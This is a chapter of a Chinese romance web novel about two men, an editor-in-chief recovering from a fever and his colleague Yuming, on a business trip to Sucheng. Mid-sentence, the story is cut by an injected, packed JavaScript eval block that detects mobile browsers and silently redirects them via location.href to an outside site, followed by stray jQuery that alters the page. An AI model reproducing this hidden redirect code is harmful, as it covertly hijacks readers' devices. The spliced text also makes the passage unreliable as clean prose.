路晚风很讨厌看到钰茗离开的背影。
所以当初离开的时候，他选择自己先走。并且幼稚觉得，这样子就不算钰茗离开他了。
——是他离开的钰茗。
然后，在后面的很多很多年里，一直懊恼并且自责当初的决定。
哗啦——
被水泡到发白的手再次拿起放在浴缸侧方的手机。
没有钰茗的信息。
他搬回去了，连晚安都不想和他说了。
路晚风看向窗外，月亮已经占据了中天位置，如纱雾一般将整个世界包裹。
而包裹他身体的水早已冰冷。
路晚风向来对自己的身体素质很有信心，哪怕第二天晨起，头痛欲裂，浑身酸痛，也没有觉得自己发烧了。
就算刚才，钰茗当着他面说他发烧了，路晚风依旧没有觉得自己发烧。
但发烧带着的脆弱情绪，以及不怎么受控的思绪，还是让他问出了那句话。
“那你为什么没有和我说晚安？”
回答他的是很长一段时间的沉默，再然后，是一句带着懊恼的话语：“我不发，你就不能自己给我发吗？”
路晚风猛地握住了钰茗的手腕，烧到发白的脸颊泛起异样的红，那模样看得钰茗触目心惊，再不管这种时候的氛围，而是直接把人往门口方向推去：“先别管这些了，你烧得太厉害，我先送你回去吧。”
路晚风看了一眼身旁人的侧脸。
钰茗紧紧抿着唇，下巴也绷着，记忆中流畅又带了一些柔美的脸颊，因此多了几分生硬和僵滞。
男人停下动作。
“你先工作，把该收尾的工作，”他一手撑着桌面，稍微停顿了片刻，方才收着气息继续道，“明天准备出差。”
钰茗皱了皱眉：“你——你这样子还能去出差？”
路晚风挥了挥手：“没事。”
他已经坐回了办公椅上，除了和平时对比起来不正常脸色，精神看起来稍微好了一些。
钰茗：“那我先去工作，你等下就回家，可以吗？”
路晚风看着他的眼睛，片刻后微微点头：“我等下回去。”
钰茗稍稍放心下来，朝他笑了笑，转身出去了。
--
路晚风果然如承诺那般，没在办公室待多久，就回去了。
钰茗在信息上关心了两句，男人做了回答，很快告诉他自己吃了药，准备睡了。
这一睡直到钰茗下班，都没有更多动静。
回家后，看了眼之前订好的，明天早上的飞机，钰茗开始担心起这一趟行程来。
明天要早起，钰茗晚上没有再安排工作，早早上了床。
他昨天没睡好，今天又忙了一整天，身体已经很疲惫了。
却怎么也睡不着。
第八次拿起手机，看了眼上头的时间，已经九点半了。
他不知道自己在为什么睡不着，又为什么要一次又一次拿起手机看时间。
视线落到微信的界面——
好吧，其实是知道的，他在等路晚风的信息。
结果还是失望。
同前面的七次一模一样。
放下手机，钰茗紧了紧床上的被子。
他这个房子没有像路晚风家里那样装地暖，哪怕开了空调，也莫名觉得寒冷。
身体好像怎么也不能完全暖和起来。
虽然心里觉得不能再看手机了，钰茗还是把手伸了过去。
这一次，似有神明听到了他的心声，路晚风给他发信息了。
Road：【抱歉现在才醒，你应该睡了吧。】
Road：【晚安钰茗。】
很简单的两句话，钰茗却看了很久。
然后，像是被什么推着一样，他飞速从床上爬起来，披上厚厚的棉外套，冲下楼去。
他想问问路晚风的身体怎么样了，烧有没有退了，可不可以撑住明天早起的飞机。
这么多问题，光靠短信问不清吧，得去看看人。
看他安好，才放心。
站在路晚风家门口，钰茗又觉得自己这样有些冲动了。
路晚风身体不适，这会儿一定在床上了，自己冒然拜访，说不定会影响他的休息。
明天还要早起赶飞机呢。
钰茗收回抬起准备敲门的手，给路晚风发了一条“晚安”的信息。
准备转身回去的时候，门在面前开了。
钰茗惊讶看着面前缓缓打开的门，还有站在门后，披着浴袍的男人。
“你……怎么知道我在这？”
路晚风：“我不开门，你是不是准备走了？”
钰茗咬了咬唇，想要否认，最后还是老实承认了。
路晚风：“所以我在这里，阻止你离开。”
钰茗细细打量了一遍他的脸：“你看起来好很多了，烧退了么？”
男人用行动回答了他，抓起他的手按到自己的额头上。
还是很烫，不过感觉比白天好了一些。
钰茗：“你吃了什么药，除了退烧药，有没有买消炎药之类的？”
路晚风唇角扬起浅浅微笑：“不放心，就上来看看？”
他还是没有松开钰茗的手，一路拉着他上楼。
--
床，墙壁，淡蓝色的被褥，还有米色的窗帘，甚至那从半开的门里泄进来的一一缕金色光芒，都和昨天他走的时候一模一样。
钰茗抓了把头发。
谁能想到，他才回去住了一晚上，又搬回来了。
“我头还是很晕，不知道是不是药效对我起的作用没那么大。”
“这一觉睡过去，也许会错过明天的飞机，你到时候能不能来喊我起床？我怕我听不到手机铃声。”
“我家的密码是……”
脑中闪过刚才男人在楼梯上的喋喋不休，脸也因为说话越发苍白，钰茗受不了，直接告诉他今晚自己会住在这边观察他的情况。
说出口的时候，钰茗有些后悔自己的冲动。
但男人眼里迸发出来的惊喜，又让他觉得这种冲动很值得。
相较于自己的不安与迷茫，他好像更希望路晚风可以开心一些。
陷入深睡眠之际，钰茗好像知道自己为什么失眠了。
不是因为床，也不是因为环境。
是因为，昨天路晚风也没有和他说“晚安”。
--
路晚风的身体素质确实如他所说的，很不错。
第二天起来，烧已经完全退了，整个人看起来精神也很好。
两人顺利上了飞机抵达苏城。
钰茗原先订好的房间里，有一间设备出了问题。
古城区要办庆典，住宿紧张，实在是排不出另一间房间。
前台见他们两人都是男的，便问他们是否可以睡到同一间里。
“我们的双床是一米三乘以两米的，这位路先生这个体格睡上去也不会显得拥挤。如果觉得小，你们可以把两张床拼到一起，睡起来就更宽松了。”
钰茗把路晚风拉到一边：“这边离我家也不远，我可以回家去住，明天早一点出门就行了。”
路晚风神色淡淡地：“她说的很对，两个男的，一间房也没什么问题吧？”
钰茗忍不住皱了一下眉。
如果之前，肯定没啥问题，现在么——
他看了一眼路晚风。
男人神色如常，看起来完全没觉得这有什么问题。
行吧，又不是他喜欢路晚风，他介意什么？
这么想着，钰茗走过来，微笑对前台说：“麻烦帮我们登记吧。”
他身后，男人的唇角，压下又扬起。
和雨路约的明天过去签署合约，印刷厂那边则是后天。
钰茗收拾好东西，转身对站在床边，看起来有些不知道要做什么的男人说：“你高烧刚退，今天又起了个大早，坐了那么久的飞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095593|177612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机，剩下的时间好好休息吧。养足精神面对明后天的工作。”
“那你呢？”路晚风问他。
钰茗：“我要回趟家里。”
距离上次回家时间很短，但那次着实仓促，趁今天有空再回去陪陪母亲。
见男人一直望着自己，钰茗停下给母亲发信息，走过去：“放心，我会回来的。”
路晚风：“我没有担心这个，我其实不累。”
钰茗：“那你——”
路晚风：“我想出去走走。”
钰茗暂停了回家的念头。
眼前这家伙虽然看起来精神不错，但到底刚退烧，万一出去遇到了什么，自己又不在身边，会很麻烦。
尤其明后天可是安排了满满的工作。
钰茗：“那我不回家了。”
迎着男人的注视目光，他弯起眼睛，“我想起来，也有地方要去逛一逛。”
--
钰茗要去“遇书”。
上一次离开前，他答应过店主李阿姨，如果有空，会去帮她整理一下她的那个读书角。
李阿姨虽然维持着书店的运营，但到底年纪大了，很多细节都顾不好。钰茗以前放假，总会过去。自打工作后，这样的机会越发少，好不容易有时间，他准备去完成承诺。
听他这么一说，路晚风表示自己也想去那边转转。
两人达成共识，一同前往“遇书”书店。
站在门口，钰茗惊讶看着从里面走出来的女孩：“小慧？”
小慧也惊讶看着站在门口的钰茗与路晚风：“主编，钰茗？你们两个怎么来了？”
简单沟通了一下，钰茗才知道小慧是李阿姨的外孙女，李阿姨前两天整理书架的时候不小心摔到了腿，不得已才把她叫了回来。
听到李阿姨摔了腿，钰茗担心起来：“医生怎么说，会影响走路吗？”
小慧：“没动到骨头，但是人年纪大了，摔一下扭一下的总是会比较严重一些。这次叫我回来，也是因为遇书参加了庆典活动，不好随便关门。”
钰茗又道：“阿姨她住在哪里，等下我去探望她。”
小慧表示自己也要去送饭，可以和钰茗一起。
钰茗看向一旁的路晚风：“你呢？”
小慧：“主编若是想留在这边也可以。”
钰茗还是担心路晚风的身体：“也出来转了一圈了，要不顺路送你回酒店休息？”
路晚风：“我跟你们一起去医院吧。”
钰茗睁大眼睛：“你别去了，你回去休息！”
路晚风看着他：“我没事了。”
钰茗抬手去摸他的额头。
一路过来，手被风吹得有点冰，进了书店也没有变得很暖和，感觉不出温度有没有异常。
钰茗不放心，把人的脑袋拉下来，和他额头贴着额头，感受对方的体温。
两人身后，怀揣着几本书的小慧，睁圆了眼睛。
脑中百千本耽美书剧情情节，犹如一道白光闪入平时总咋咋呼呼的女孩脑中。
她的眼珠一会停留在钰茗身上，一会又停留在路晚风身上，脸上的表情渐渐变得丰富起来。
钰茗放开路晚风，眉头还是皱着：“我觉得还是烫的。”
路晚风：“那我再吃一颗退烧药。”
“别——”钰茗拉住他的手，“去医院也行，正好去量一下/体温，听听医嘱。”
路晚风点了点头。
钰茗走过来，顺手接过小慧手里的书，帮她摆到高一点的书架上：“还有别的要整理吗？”
小慧回头，看了眼站在好几个书架之外的主编，有些不放心，又扯着钰茗的衣袖把人拉到最里面。
她清了清嗓子，一脸郑重又神秘，仿佛要说一件非常重要的事情。
钰茗被她的样子搞得也紧张起来：“怎么了？”
小慧压着嗓子，悄声开口：“钰茗，你和主编，你们是不是……在谈恋爱啊？”